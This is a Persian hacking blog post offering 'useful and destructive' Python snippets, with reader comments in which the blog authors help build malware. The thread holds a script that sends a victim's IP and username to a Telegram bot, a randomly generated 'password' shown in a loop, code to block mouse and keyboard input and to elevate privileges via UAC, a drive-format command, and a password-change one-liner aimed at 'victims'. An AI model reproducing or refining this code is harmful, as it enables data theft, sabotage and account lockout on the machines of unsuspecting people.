کدهای کاربردی و مخرب پایتون :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۲۲ مرداد ۰۲، ۰۰:۳۴ - Sami
    مرسی
  • ۱۴ مرداد ۰۲، ۱۴:۴۶ - farhad
    salam

از اونجایی که نوشتن پست با عنوان های مختلف یه خرده زمان بر هستش ، تصمیم گرفتم این پست رو ایجاد کنم تا هر از چند گاهی یکسری کدهای کاربردی و مخرب داخلش قرار بدم و با همکاری شما کاربرا این پست رو محتویاتشو بهتر و بهتر کنم

پس اگر کسی قصد همکاری داشت میتونه کدهاشو زیر همین پست کامنت کنه تا من هم کدشو داخل پست اضافه کنم و هم اینکه باعث پیشرفت خودمون و دیگر کاربرا بشه :)

کد مخفی کردن برنامه : شاید شما هم از اون دسته افراد باشین که موقع کامپایل کردن برنامه از noconsole-- استفاده میکنن اما با استفاده از این کدها داخل خود برنامه میتونیم پنجره کنسول یا گرافیکی خودمون رو مخفی یا به نمایش بزاریم

import win32gui,win32con

hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin,win32con.SW_HIDE)

کد نمایش پنجره :

import win32gui,win32con

hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin,win32con.SW_SHOW)

کد خالی کردن صفحه کنسولی : شاید شما هم از اون دسته افراد باشین که از دستور پایین برای خالی کردن صفحتون استفاده کنین

import os
os.system("Cls")

اما یه روزی میرسه که این کد برای شما دردسر میشه و ممکنه برنامتونو ناقص جلوه بده ، چون ممکنه برای امنیت بیشتر خط فرمان توسط مدیر اون سیستم غیرفعال شده باشه

پس بهتره از کد پایین در این جهت استفاده کنیم

import clear_screen,time

print("Https://ViRus32.Blog.IR")
time.sleep(3)
clear_screen.clear()
raw_input()

کد غیرفعال کردن ماوس و کیبورد : شاید طی اجرای کدهاتون نیازی باشه که ماوس یا کیبورد غیر فعال بشه تا کاربر کاری رو برای چند لحظه انجام نده تا برنامتون کارشو انجام بده ، این کد میتونه تو کدهای کاربردی و مخرب کاربرد داشته باشه ، فقط نکته مورد توجه اینکه برنامتون باید با دسترسی ادمین اجرا بشه و اگه نتونستین اسکریپت رو با دسترسی ادمین اجرا کنین میتونین یه خط فرمان با دسترسی ادمین باز کرده و اسکریپت رو اجرا کنین

import ctypes,time

ctypes.windll.user32.BlockInput(True)
time.sleep(3)

کد فعالسازی

import ctypes

ctypes.windll.user32.BlockInput(False)

این پست کوتاه شد اما آپدیت میشه و اگر کسی ایده ای داره بگه تا قرار بدم یا اگه برنامه نویسی بلد نیست بگه خودم ببینم اگه چیز ساده و بدرد بخوری باشه داخل همین پست براش اضافه میکنم

موفق باشید

نظر (۳۱)

 در پایتون scrollbar کدی برای نمایش

 

 

from tkinter import *
from tkinter import ttk        
    
root = Tk()

canvas = Canvas(root, scrollregion = (0, 0, 640, 480), bg = 'white')
xscroll = ttk.Scrollbar(root, orient = HORIZONTAL, command = canvas.xview)
yscroll = ttk.Scrollbar(root, orient = VERTICAL, command = canvas.yview)
canvas.config(xscrollcommand = xscroll.set, yscrollcommand = yscroll.set)

canvas.grid(row = 1, column = 0)
xscroll.grid(row = 2, column = 0, sticky = 'ew')
yscroll.grid(row = 1, column = 1, sticky = 'ns')

def canvas_click(event):
    x = canvas.canvasx(event.x)
    y = canvas.canvasy(event.y)
    canvas.create_oval((x-5, y-5, x+5, y+5), fill = 'green')

canvas.bind('<1>', canvas_click)

root.mainloop()

 

Virus32 MR_C0D3R ‌ :
مرسی
اما عزیز سعی کن بیشتر کدهایی قرار بدی که کاربردی و کوتاه باشه
مثلا الان کد ایجاد اسکرول بار و یا چیزای دیگه مثل دکمه و غیره... رو تو کتابی که میخوام تا فردا شب قرارش بدم میشه پیدا کرد

سلام ، کد هایی به زبان های غیر پایتون بگذاریم هم می گذارین؟

 

Virus32 MR_C0D3R ‌ :
سلام
از اسمش معلومه دیگه ! کلا برای پایتونه
این پست رو ایجاد کردم که فقط تکه کدهای خیلی کوچیک اما کاربردی رو قرار بدیم

کد ساده پایتون با رابط کاربری گرافیکی برای کاربر (دارای دکمه و تغییر متن)

 

from tkinter import *
from tkinter import ttk

class HelloApp:

    def __init__(self, master):

        self.label = ttk.Label(master, text = "virus32 - samn")
        self.label.grid(row = 0, column = 0, columnspan = 2)
        
        ttk.Button(master, text = "Tehran",
                   command = self.tehran_hello).grid(row = 1, column = 0)

        ttk.Button(master, text = "London",
                   command = self.london_hello).grid(row = 1, column = 1)

    def tehran_hello(self):
        self.label.config(text = 'salam!')

    def london_hello(self):
        self.label.config(text = 'Hello!')

            
def main():            
    
    root = Tk()
    app = HelloApp(root)
    root.mainloop()
    
if __name__ == "__main__": main()

 

 temp استفاده از پوشه

 

import tempfile
print (tempfile.gettempdir())

Virus32 MR_C0D3R ‌ :
import tempfile
print(tempfile.gettempdir())
این مسیر بیشتر مواقع بدرد برنامه نویسی ها میخوره
اما بعضی مواقع کاربرا پوشه ی Temp خودشون رو مثل من خالی میکنن
که همین باعث میشه اگه تو این مسیر فایل خاصی وجود داشت برنامه ما باگ دار جلوه داده بشه !!!
من بیشتر از این مسیر استفاده میکنم
import os
print(os.environ['Username'])
که هم دسترسی نمیخواد
هم قابل پاک کردن از طریق پوشه ی Temp نیست

سلام من یه برنامه ساختم با کتابخونه تکینتر که اسکرین شات میگیره ولی اسم فایل عکس رو کاربر وارد کنه ولی به مشکل برخودم (تو متغیر ها و تعریفشون)‌::

http://uupload.ir/files/5ssm_capture.jpg

Virus32 MR_C0D3R ‌ :
سلام
کدهاتو یه کوچولو دستکاری کردم اینجوری شد
import pyautogui
from tkinter import *

window = Tk()
window.title("ScreenShot")

def screen_png():
    path = pyautogui.prompt("Enter file name : ")
    picture = pyautogui.screenshot()
    picture.save(path)

def screen_jpg():
    path = pyautogui.prompt("Enter file name : ")
    picture = pyautogui.screenshot()
    picture.save(path)

btn1 = Button(window,width = 55,height=3 ,text = 'PNG' ,command = screen_png)
btn2 = Button(window,width = 55,height=3, text = 'JPG' ,command = screen_jpg)

btn1.pack();btn2.pack()

window.mainloop()
شما باید به جای مسیری که داده بودی
اون خط picture.save رو این شکلی مینوشتی
picture.save(ab)

دوستان و آشنایان عزیز این رو پایتون 3 جواب نمیده برای پایتون 3 میشه:

import ctypes,time
from time import sleep
(ctypes.windll.user32.BlockInput(True)
sleep(12)
(ctypes.windll.user32.BlockInput(False)
 

Virus32 MR_C0D3R ‌ :
با تشکر

سلام دسوستان کدی که قرار میدم تو یه برنامه عکس رو قرار میدیم..میشه برای ساخت صفحه دیفس استفاده کردد....با اجازه مستر :((((پایتون 3.6.2 تست شده))))

from tkinter import *
from tkinter import ttk
win = Tk()
var = StringVar()
ax = PhotoImage(file = 'D:/WALLPAPER/png/1.png')
lb1 = Label(win, textvariable = var , image = ax).pack()

 

سلام داداش کد زیر  یه کد شانسی می سازه و به تلگرام من ارسال می کنه


shadi_ali = ''.join([random.choice
    (
        'abcdefghijklmnopqrstuvwxyz'
        +
        'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        +
        '1234567890'
    )
    for i in range(20)])
    
time.sleep(1)
try:
    target_ip = urllib.urlopen("http://ip.42.pl/raw").read()
    txt_username = os.environ['Username']
    text_info = "Hello Admin...👌\nYour Target IP : " + str(target_ip) + "\nYour Target Username : " + str(txt_username) + "\nYour Target Password => " + str(shadi_ali)+"\nYour firend : @ckrakiranian"
    text_full = str(text_info)

    bot_id = '699122380:AAFY****wWpVX8***deH9vA'
    urllib2.urlopen("https://api.telegram.org/bot" + bot_id + "/sendMessage", urllib.urlencode({ "chat_id": 644146629, "text": text_full })).read()

except:
    pass



 حالا
 من میخوام این کد شانسیکه ساخته شده تو خود کامپیوتر یه فایلی ساخته بشه
 یا یه پنجره 10 ثانیه ای بیاد بالا و این کدو تو کاپیوتر هم نشون بده یا تو اون فایل کد رو ذخیره کنه
  یکم من کد نویسیم ضعیفه این موردو بد جور گیرم منون میشم کمککنی

Virus32 MR_C0D3R ‌ :
سلام
قسمت پرسش و پاسخ :|
import os
import time
import urllib
import random
import urllib2

pswd = ''.join([random.choice
    (
        'abcdefghijklmnopqrstuvwxyz'
        +
        'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        +
        '1234567890'
    )
    for i in range(20)])
    
time.sleep(1)

target_ip = urllib.urlopen("http://ip.42.pl/raw").read()
txt_username = os.environ['Username']
text_info = "Hello Admin...👌\nYour Target IP : " + str(target_ip) + "\nYour Target Username : " + str(txt_username) + "\nYour Target Password => " + str(pswd)+"\nYour firend : @ckrakiranian"
text_full = str(text_info)
bot_id = 'BotID'
urllib2.urlopen("https://api.telegram.org/bot" + bot_id + "/sendMessage", urllib.urlencode({ "chat_id": ChatID, "text": text_full })).read()
open('Info.txt','w').write(pswd)
while True:
    time.sleep(3)
    os.system('Msg * ' + pswd)
    os.system('Start Info.txt')
تو کدهای بالا خط ارسال پیغام به تلگرام رو ادیت کن و BotID و ChatID خودت رو قرار بده
اگه کدهارو تست کنی یه خرده سرا سیمه هستش که باید ادیت کنی و یه تغییراتی داخلش ایجاد کنی
مثلا داخل Try و Except قرار بدی
یا اینکه دستور بدی چک کنه ببینه فایل Info.txt موجود هستش یا نه و بعدا اجرا کنه
و غیره....
اونارو هم میسپارم به خودت که اگه نتونستی بگو اونارم بنویسم

 خیلی ممنون امروز از مسافرت اومدم چت می کنم

سلام داداش چک کردم یه مشکل هست این فایلو همش باز میکنه یعنی   هی تکرار می کنه و بعد 10 ثانی هم پاک نمیشه
 میخوام همین فایل بعد 10 ثانیه کلا ردش پاک شه
  زیاد وارد نیستم اگه بشه خودت کمکم کنی

Virus32 MR_C0D3R ‌ :
پنج خط آخر رو پاک کن و اینو قرار بده
x = open('Info.txt','w').write(pswd)
os.system('Start Info.txt')
time.sleep(5)
os.system('TaskKill /im Notepad.exe')
os.remove('Info.txt')

سلام من اون موس که نوشته باید با دسترسی ادمین باز کنم

خب اونجوری که کسی ندونه اجرا کنه ویروس اجرا نمیشه

کدی هست با دسترسی باز کنیم

Virus32 MR_C0D3R ‌ :
میتونیم موقع کامپایل برنامه از سوئیچ
--uac-admin
استفاده کنیم

سلام . ببخشید در باره این کامنت مخفی کردن ویروس در حال اجرا ایت کدی که گفتین رو تو یه لاین جدید بزنیم ؟؟

Virus32 MR_C0D3R ‌ :
سلام
بستگی داره چه برنامه ای دارین درست میکنین
توی ویروس نویسی معمولا اول اسکریپت استفاده میشه و توی ما بقی خط ها هم کدهای دیگه قرار میگیره که باید ببینید چی دارین مینویسین و همه چیز وابسته به خودتونه

من یه کد ساده نوشتم .. البته به کمک خودتون 

import os

("os.system("Echo y | Format E: Q

الان وقنی به خوام اجراش کنم نمیزاره و دسترسی ادمین می خواد به نظرتون چیکارش کنم ؟؟

Virus32 Virus 32 :
نده بهش خوب

سلام اون سوییچی که دادین برای دسترسی ادمین کار نکرد چجوری باید استفاده کرد

Virus32 Virus 32 :
سلام
یکم تحقیق کن دیگه داداش ما آدرس بهت میدیم مسیر رو سعی کن خودت بری
import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
# کدهاتو باید اینجا بنویسی
else:
# برنامه با سطح ادمین دوباره اجرا خواهد شد
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
بیا داداش اینو از انباری پیداش کردم
البته مال قدیماست ولی فکر کنم جواب بده هنوزم
من با پایتون 2 و ویندوز ویستا کار میکردم
اونموقع ویندوز هفت نیومده بود
برو به سلامت
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

*******************************************************************************************************************************************************************************

ازت کپی کردههههه

Virus32 32 Attacker ‌ :
ممنون، هدف ما بالا رفتن سطح اطلاعاته کاربراست، اینجا کپی آزاده...

آقای ویروس میشه دقیق بگی با پایتون 3 که چجوری دسترسی ادمین داشته باشیم

Virus32 MR_C0D3R ‌ :
دو راه وجود داره
اول اینکه داخل کدها شرط بزاریم و چک کنیم که اگه دسترسی ادمین نداشتیم درخواست دسترسی کنیم که کدشو ویروس گفت
و راه حل دوم اینه که
با استفاده از کتابخونه ی pyinstaller میتونیم کاری کنیم که موقع اجرای برنامه اگه سطح دسترسی کافی رو داشت و سطح دسترسی یا همون UAC سیستم طرف مقابل پایین بود برنامه با دسترسی ادمین اجرا بشه و در غیر اینصورت درخواست دسترسی کنه که برای اینکار وقتی داری از برنامت خروجی میگیری باید بدین شکل باشه
pyinstaller.py --onefile --noconsole --icon=Masir-Icon.ico --uac-admin --name=app_name MasirScript.py
البته چون اینو دستی نوشتم بخاطر همین دقیق نمیدونم که جای uac-admin رو درست گذاشتم یا نه
اما خودت با آزمون و خطا جاشو پیدا کن

داداش کدی برای تعقیر رمز سیستم،بدون داشتن رمز قبلی میزاری؟ممنونت میشم اگه بزاری.

Virus32 Virus 32 :
سلام
میتونیم از این پست کمک بگیریم و همچین کدی بنویسیم :
import subprocess

subprocess.getounput("net users "+username+" "+password, shell = True)

ویروس جان مرسی فقد کجا باید رمزو بنویسم که تعقر کنه

Virus32 MR_C0D3R ‌ :
اون کد باید یه کوچولو ویرایش بشه
مثل users بشه user و غیره...
ویروس همیشه اینجوری میگه که شما پیگیر بشید و خودتون راه چاره رو پیدا کنید
به هر حال میتونی اینجوری بنویسی
import os
os.system('Net user '+os.environ['username']+' NewPassword')

ویروس جان چطوری میشه کرد خود کار باRan as adminstorبازش کرد؟

میشه اینو بگی بهم.

این کدی که با پایتون نوشتی رو تست کردم نشد 

Virus32 Virus 32 :
دیگه بیشتر از اون بلد نیستم
من خیلی وقته با پایتون کار نکردم
هرچی هم بلدم با پایتون 2 بوده

میشه کدی با پایتون بنویسید که بدون داشتن نام قبلی کامپیوتر نام کامپیوتر را عوض کرد.

اگه میشه بزارید تا استفاده کنیم.

وب تون واقعا عالیه

Virus32 MR_C0D3R ‌ :
import os
os.system('net user %username% /fullname:\"MR_C0D3R\"')
البته برای اینکار نیاز به دسترسی بالاتری داریم

سلام من دارم یه برنامه میسازم که با پای اینستالر کار میکنه میخوام ببینم برنامه برای تشخیص دادن نصب کتابخانه در پایتون سیستم باید چیکار کنه؟

Virus32 MR_C0D3R ‌ :
سلام
منظورتو متوجه نشدم
منظورت این نیست که چطور متوجه بشیم یه کتابخونه توی سیستم طرفمون نصب هستش یا نه ؟
----
اگه منظورت چیزیه که گفتم
میتونیم کد وارد کردن کتابخونه رو داخل Try و Except قرار بدیم که اگه به خطای نصب نبودن کتابخونه ی مد نظر ما برخورد یه پیغامی رو بده...
try:
    import clear_screen
except ModuleNotFoundError:
    print("Ketabkhoone clear_screen Nasb Nistesh .")
یا یه چیز تو همون مایه ها که پیشنهاد میکنم از همون اولی استفاده کنی
try:
    import clear_screen
except:
    print("Ketabkhoone clear_screen Nasb Nistesh .")
در کل این دو تا هیچ فرقی با هم نمیکنن و جفتشون یه کاری رو انجام میدن
اما اولی یه خرده دقیق تره...

سلام چطوری مسیر نصب پایتون رو بدونیم بدون استفاده از نام کامپیوتر؟

Virus32 Virus 32 :
import sys
print(sys.path)

سلام چجوری یک برنامه سوییچ دار رو با یه سوییچ باز کنیم بدون سی ام دی

 

مثلا pyonstaller.exe رو بدون سی ام دی و حتی با سوییچ هاش ((-i --onefile و...))باز کنیم

Virus32 MR_C0D3R ‌ :
سلام
از طریق Subprocess.call میتونی
نحوه ی کار باهاش رو هم سرچ بزنی میتونی یاد بگیری
فقط پیشنهاد میکنم به جای کار با تابع call با توابع دیگه ی این کتابخونه هم کار کنی
چون قطعا در آینده به کارت میاد
من این منبع رو برات آماده کردم :)

سلام دنبال یه کدی هستم تو ویندوز که وقتی اجراش میکنی یه فایلی رو مثلا با پسوند .txt تو همه پوشه های سیستم و درایوا کپی کنه میشه کمک کنین

Virus32 32 Attacker ‌ :
سلام
copy "D:\Virus32.txt" "E:\MrCoder"
این کد، فایل virus32.txt رو از درایو D کپی می کنه توو درایو E در پوشه MrCoder

سلام لینک اون کتاب گرافیکی پایتون رو میدی بهم

Virus32 Virus 32 :
سلام
قسمت پایتون با کدر بود که الان نیستش
نمیدونم کدوم رو میگی

سلاممممممم

عمو معین کد جدید اورده،،،،

یادتونه یک در سی ام دی و فایل های بت یک سری متغیر وجود داشت مثل : %systemdrive% و %windir%

اینا رو تو پایتون با استفاده از کتابخانه winreg انجام میدیم.

 

کد زیر :::

import winreg

winreg.ExpandEnvironmentStrings('%systemdrive%')

Virus32 MR_C0D3R ‌ :
تنکیو وری ماچ دایی معین :)
بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است

سلام داش ویروس و مستر من ی رت با پایتون 3.8 برای ویندوز نوشتم میخاید تستش کنیم؟
البته من واسه وین 7 تست کردم نیدونم تو ویندوز های دیگه ادرسا فرق میکنه یا ن(تمپ و استارت اپ)

***************

Virus32 MR_C0D3R ‌ :
خب چرا از کتابخونه ها استفاده نمیکنی که فکرتو مشغول نکنه ؟
اینجوری خیلی راحت میتونی آدرس پوشه ی Temp و Startup رو بدست بیاری ( هر سیستم عاملی )

سلام اگه ویروس ساختیم رو سیستم خودمون که نمیشه پس کجا تستش کنیم؟

Virus32 32 Attacker ‌ :
سلام، روی ماشین مجازی تست کن، مثل ویرچوال باکس و...
-----------
برای خودت ابتدا تایمر بزار ، یا حلقه رو قرار نده ، یا یجوری باشه که فقط یکبار عملیاتش رو انجام بده
دیدی یکبار کارکرد بعد بزارش تو حلقه یا تایمر رو غیر فعال کن
مثلا من برای ویروس های غیرفعال کردن ماوس و کیبورد ابتدا یه تایمر میزارم تا ده ثانیه ویروس فعال باشه و بعد از ده ثانیه غیر فعال شه
اگه کار کرد تایمر رو حذف میکنم و تقدیم دوستانم میکنم و...
ویروس32

سلام و خداقوت

دوستان من یه وب ربات دارم که با زبان پایتون نوشته شده

و یه سری اطلاعات رو استخراج می کنه ولی به یه مشکل برخوردم 

مشکل اینه که سایتی که وب ربات میخواد ازش دیتا بگیره صفحه اش اسکرول داره و وب ربات فقط اطلاعات همون صفحه ای که داره نمایش داده میشه رو استخراج میکنه 

حالا من دنبال اینم که وب رباتم خودش صفحه رو اسکرول کنه و صفحه به صفحه دیتاها رو جمع کنه

ممنون میشم راهنماییم کنید

Virus32 ولم کنید (: :
درباره وب اسکرپینگ مطالعه نداشتم!

 open ("youtube.com") when clicked on it
  File "<stdin>", line 1
    open ("youtube.com") when clicked on it
                         ^

سلام داداش.

میتونی این کد رو برام درست کنی لطفا...

من تازه کارم ولی خیلی علاقه دارم.

میشه این کد رو اصلاح کنی و بهم اشکالاتم رو بگی؟.

چون این کد خرابه و کار نمیکنه

ممنون

Virus32 Ax0o 32 :
برادر این ویژوال بیسیکه :|

سلام

من کد ها راچگونه در سیستم قربانی اجرا کنم؟

Virus32 Ax0o 32 :
برادر با مفسر پایتون :|
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی